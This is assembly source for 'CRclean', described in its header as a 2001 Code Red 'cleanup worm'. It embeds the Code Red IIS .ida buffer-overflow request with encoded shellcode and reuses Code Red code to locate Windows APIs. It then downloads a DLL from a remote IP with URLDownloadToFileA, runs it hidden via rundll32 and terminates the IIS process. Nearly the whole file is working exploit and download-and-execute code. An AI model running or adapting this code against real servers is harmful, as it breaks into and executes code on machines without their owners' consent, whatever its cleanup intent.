;
; CRclean.asm
; by Markus Kern <markus-kern@gmx.net>
; 06.08.2001
;
; downloads CRclean.dll from sender and executes it using rundll32.exe
; then calls ExitProcess() on success or sleeps forever on failure
;

.386p
.model flat
.code
assume fs:nothing

db 'GET /default.ida?---This-is-CRclean---Code-Red-cleanup-worm-'
db '--check-your-wwwroot-for-CRclean.dll---it-contains-zipped-so'
db 'urce---this-worm-does-not-spread-actively---if-you-see-this-'
db 'the-destination-host-is-infected-with-Code-Red--------------'
db '-%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u685'
db '8%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53f'
db 'f%u0078%u0000%u00=a  HTTP/1.0',0Dh,0Ah
db 'Content-type: text/xml',0Ah
db 'Content-length: 0988',0Dh,0Ah,0Dh,0Ah

; execution starts here with slightly modified Code Red v1 code
; finds GetProcAddress and kernel32.dll base

	push  ebp
	mov  ebp, esp
	sub  esp, 218h
	push  ebx
	push  esi
	push  edi
	lea  edi, [ebp-218h]
	mov  ecx, 86h
	mov  eax, 0CCCCCCCCh
	rep  stosd
	mov  [ebp-190h], dword ptr 0
	lea  edi, [ebp-110h]
	mov  eax, dword ptr fs:0
	mov  [edi+8], eax
	mov  dword ptr fs:0, edi
	mov  dword ptr [ebp-110h], 0FFFFFFFFh
	mov  dword ptr [ebp-1A8h],77E00000h

RVA_1:
	cmp  dword ptr [ebp-190h], 0
	jnz  RVA_5
	mov  ecx, [ebp-1A8h]
	add  ecx, 10000h
	mov  [ebp-1A8h], ecx
	cmp  dword ptr [ebp-1A8h],78000000h
	jnz  short RVA_2
	mov  dword ptr [ebp-1A8h],0BFF00000h

RVA_2:
	mov  edx, [ebp-1A8h]
	xor  eax, eax
	mov  ax, [edx]
	cmp  eax, 5A4Dh
	jnz  RVA_1
	mov  ecx, [ebp-1A8h]
	mov  edx, [ecx+3Ch]
	mov  eax, [ebp-1A8h]
	xor  ecx, ecx
	mov  cx, [eax+edx]
	cmp  ecx, 4550h
	jnz  RVA_1
	mov  edx, [ebp-1A8h]
	mov  eax, [edx+3Ch]
	mov  ecx, [ebp-1A8h]
	mov  edx, [ecx+eax+78h]
	add  edx, [ebp-1A8h]
	mov  [ebp-1ACh], edx
	mov  eax, [ebp-1ACh]
	mov  ecx, [eax+0Ch]
	add  ecx, [ebp-1A8h]
	mov  [ebp-1B4h], ecx
	mov  edx, [ebp-1B4h]
	cmp  dword	ptr [edx], 4E52454Bh
	jnz  RVA_1
	mov  eax, [ebp-1B4h]
	cmp  dword	ptr [eax+4], 32334C45h
	jnz  RVA_1
	mov  ecx, [ebp-1A8h]
	mov  [ebp-1CCh], ecx
	mov  edx, [ebp-1ACh]
	mov  eax, [ebp-1A8h]
	add  eax, [edx+20h]
	mov  [ebp-1B4h], eax
	mov  dword ptr [ebp-1B8h], 0
	jmp  short RVA_4

RVA_3:
	mov  ecx, [ebp-1B8h]
	add  ecx, 1
	mov  [ebp-1B8h], ecx
	mov  edx, [ebp-1B4h]
	add  edx, 4
	mov  [ebp-1B4h], edx

RVA_4:
	mov  eax, [ebp-1ACh]
	mov  ecx, [ebp-1B8h]
	cmp  ecx, [eax+18h]
	jge  RVA_1
	mov  edx, [ebp-1B4h]
	mov  eax, [edx]
	mov  ecx, [ebp-1A8h]
	cmp  dword ptr [ecx+eax], 50746547h
	jnz  RVA_3
	mov  edx, [ebp-1B4h]
	mov  eax, [edx]
	mov  ecx, [ebp-1A8h]
	cmp  dword ptr [ecx+eax+4], 41636F72h
	jnz  RVA_3
	mov  edx, [ebp-1B8h]
	add  edx, [ebp-1B8h]
	add  edx, [ebp-1A8h]
	mov  eax, [ebp-1ACh]
	mov  ecx, [eax+24h]
	xor  eax, eax
	mov  ax, [edx+ecx]
	mov  [ebp-1B4h], eax
	mov  ecx, [ebp-1ACh]
	mov  edx, [ecx+10h]
	mov  eax, [ebp-1B4h]
	lea  ecx, [eax+edx-1]
	mov  [ebp-1B4h], ecx
	mov  edx, [ebp-1B4h]
	add  edx, [ebp-1B4h]
	add  edx, [ebp-1B4h]
	add  edx, [ebp-1B4h]
	add  edx, [ebp-1A8h]
	mov  eax, [ebp-1ACh]
	mov  ecx, [eax+1Ch]
	mov  edx, [edx+ecx]
	mov  [ebp-1B4h], edx
	mov  eax, [ebp-1B4h]
	add  eax, [ebp-1A8h]
	mov  [ebp-190h], eax
	jmp  RVA_1

RVA_5:
	lea  edi, [ebp-110h]
	mov  eax, [edi+8]
	mov  dword ptr fs:0, eax

; end of Code Red code

	call  GET_DATA_START

d1			db 'c:\CRclean.dll',0
d2			db 'http://123.123.123.123/CRclean.dll',0		; ip filled in by ISAPI filter
d3			db 'LoadLibraryA',0
d4			db 'urlmon.dll',0
d5			db 'GetFileAttributesA',0
d6			db 'URLDownloadToFileA',0
d7			db 'WinExec',0
d8			db 'rundll32 c:\CRclean.dll,Run',0
d9			db 'Sleep',0
d10			db 'ExitProcess',0

FilePath			equ 0
Url					equ d2-d1
LoadLibStr			equ d3-d1
UrlMonStr			equ d4-d1
GetFileAttrStr		equ d5-d1
URLDownloadStr		equ d6-d1
WinExecStr			equ d7-d1
RundllStr			equ d8-d1
SleepStr			equ d9-d1
ExitProcStr			equ d10-d1

GET_DATA_START:
	pop	esi						; start of our data

	; get address of GetFileAttributesA
	mov  edi, esi
	add  edi, GetFileAttrStr
	push  edi
	push  dword ptr [ebp-1CCh]				; kernel32.dll handle
	call  dword ptr [ebp-190h]				; call GetProcAddress
	or  eax, eax
	jz  SLEEP
	push  eax

	; get address of LoadLibraryA
	mov  edi, esi
	add  edi, LoadLibStr
	push  edi
	push  dword ptr [ebp-1CCh]
	call  dword	ptr [ebp-190h]				; call GetProcAddress
	or  eax, eax
	jz  SLEEP

	; load urlmon.dll
	mov  edi, esi
	add  edi, UrlMonStr
	push  edi
	call  eax								; call LoadLibraryA
	or  eax, eax
	jz  SLEEP

	; get address of URLDownloadToFileA
	mov  edi, esi
	add  edi, URLDownloadStr
	push  edi
	push  eax								; urlmon.dll handle
	call  dword ptr [ebp-190h]				; call GetProcAddress
	or  eax, eax
	jz  SLEEP
	mov  ebx, eax

DL_FILE:
	; check if file is already there
	pop  eax								; get GetFileAttributesA address
	push  eax
	mov  edi, esi
	add  edi, FilePath
	push  edi
	call  eax								; call GetFileAttributesA
	cmp  eax, 0FFFFFFFFh
	jne  SLEEP								; we've been here before, the dll is prolly preparing IIS restart
											; we sleep till we get terminated

	; call URLDownloadToFileA
	push  0
	push  0
	mov  edi, esi
	add  edi, FilePath
	push  edi
	mov  edi, esi
	add  edi, Url
	push  edi
	push  0
	call  ebx								; call URLDownloadToFileA

	; check if file made it to the disk
	pop  eax								; get GetFileAttributesA address
	push  eax
	mov  edi, esi
	add  edi, FilePath
	push  edi
	call  eax								; call GetFileAttributesA
	cmp  eax, 0FFFFFFFFh
	jne  DL_SUCCESS

	; if we just tried c: try d: now
	mov  edi, esi
	add  edi, FilePath
	cmp  byte ptr [edi], 'd'
	je  SLEEP								; neither c: nor d: did work

	; set drive letter to 'd'
	mov  byte ptr [edi], 'd'
	mov  edi, esi
	add  edi, RundllStr+9
	mov  byte ptr [edi], 'd'				; change Runddll string too
	jmp  DL_FILE


DL_SUCCESS:
	; get address of WinExec
	mov  edi, esi
	add  edi, WinExecStr
	push  edi
	push  dword ptr [ebp-1CCh]
	call  dword ptr [ebp-190h]				; call GetProcAddress
	or  eax, eax
	jz  SLEEP

	; call WinExec
	push  0									; SW_HIDE
	mov  edi, esi
	mov  edi, esi
	add  edi, RundllStr
	push  edi
	call  eax
	cmp  eax, 31
	jl  SLEEP

	; get address of ExitProcess
	mov  edi, esi
	add  edi, ExitProcStr
	push  edi
	push  dword ptr [ebp-1CCh]
	call  dword ptr [ebp-190h]				; call GetProcAddress
	or  eax, eax
	jz  SLEEP

	; call ExitProcess
	push  0
	call  eax								; terminate inetinfo.exe, on windows 2000 it will be
											; restarted but we get rid of all running Code Reds

SLEEP:
	; get address of Sleep
	mov  edi, esi
	add  edi, SleepStr
	push  edi
	push  dword ptr [ebp-1CCh]
	call  dword ptr [ebp-190h]				; call GetProcAddress
	or  eax, eax
	jz  FATAL_ERROR							; ok, we tried our best to save cpu cycles

	; call Sleep
	push  0FFFFFFFFh
	call  eax								; sleep forever

FATAL_ERROR:
	jmp  FATAL_ERROR

db		'end of file'

END
